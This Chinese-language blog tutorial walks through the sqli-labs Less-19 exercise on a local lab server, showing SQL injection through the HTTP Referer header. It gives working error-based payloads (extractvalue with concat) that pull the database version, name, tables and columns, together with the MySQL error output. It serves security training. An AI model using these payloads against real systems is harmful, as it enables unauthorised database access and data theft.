# SQL 注入之 HTTP-Referer 注入

本篇讲解 HTTP-Referer 注入

HTTP-Referer 注入

在前几章的博客中,满篇都是对于基于 select 的注入手段。

其实,对于数据库而言,像 update、insert 等命令都有可爆出数据库信息的点的。

OK,开始做 Less-19,送入 Repeater

# 尝试报错

在 Referer 后添加一个单引号:

Referer: http://127.0.0.1/sqli/Less-19/'

结果报错

image-20221001235013114

# 尝试不报错

我们尝试通过加 双引号 "、 #号及其变形(#、%23、–+)来看看能否不报错

Referer: http://127.0.0.1/sqli/Less-19/'"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '127.0.0.1')' at line 1

Referer: http://127.0.0.1/sqli/Less-19/' #
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Referer: http://127.0.0.1/sqli/Less-19/'" %23
ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" %23', '127.0.0.1')' at line 1

Referer: http://127.0.0.1/sqli/Less-19/' --+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" --+', '127.0.0.1')' at line 1

后面还有个小括号,试试看是否需要闭合

Referer: http://127.0.0.1/sqli/Less-19/'") --+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") --+', '127.0.0.1')' at line 1

Referer: http://127.0.0.1/sqli/Less-19/')" --+
ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" --+', '127.0.0.1')' at line 1

依旧不行,我们回过头来看看第一个报错

near '"', '127.0.0.1')' at line 1

去掉最外层的两个单引号:

"', '127.0.0.1')

一个数据库语句出现了逗号,说明极有可能是 union 引导的 select 1,2 这样的查询,或者是 insert、update 这样的语句:

insert into 表名 values(a,b,c)
例子:insert into student_info values(5,'liutao','12');

UPDATE student_info SET num=4,name='liutao',age='15'

因为除了逗号之外还出现了括号,update 和 select 一般是没有括号的,因此锁定在 insert into 上。

那么,我们目前注入的位置是很大概率在 'liutao', '12' 这个逗号所在位置附近。

因此,由于注入内容后面跟着一个单引号,我们尝试 and 结合 单引号 注入:

insert into student_info values(5,'liutao' and '','12'); 

OK,替换成我们的语句就是:

Referer: http://127.0.0.1/sqli/Less-19/' and '

成功不报错

image-20221002000657623

# 优先尝试报错注入

由于是使用 and + 单引号注入,可插入非法查询语句的位置和平常不太一样,因此我们尝试再加入 一个and来构造一个报错条件

Referer: http://127.0.0.1/sqli/Less-19/' and extractvalue(1,concat(0x7e,version(),0x7e)) and '

image-20221002001021204

# 爆数据库名

接下来就是替换 version () 了。

Referer: http://127.0.0.1/sqli/Less-19/' and extractvalue(1,concat(0x7e,database(),0x7e)) and '

image-20221002001434314

# 爆表名

Referer: http://127.0.0.1/sqli/Less-19/' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

image-20221002001605648

# 爆列名

Referer: http://127.0.0.1/sqli/Less-19/' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) and '

image-20221002001714543

至此,HTTP-Referer 注入演示完毕。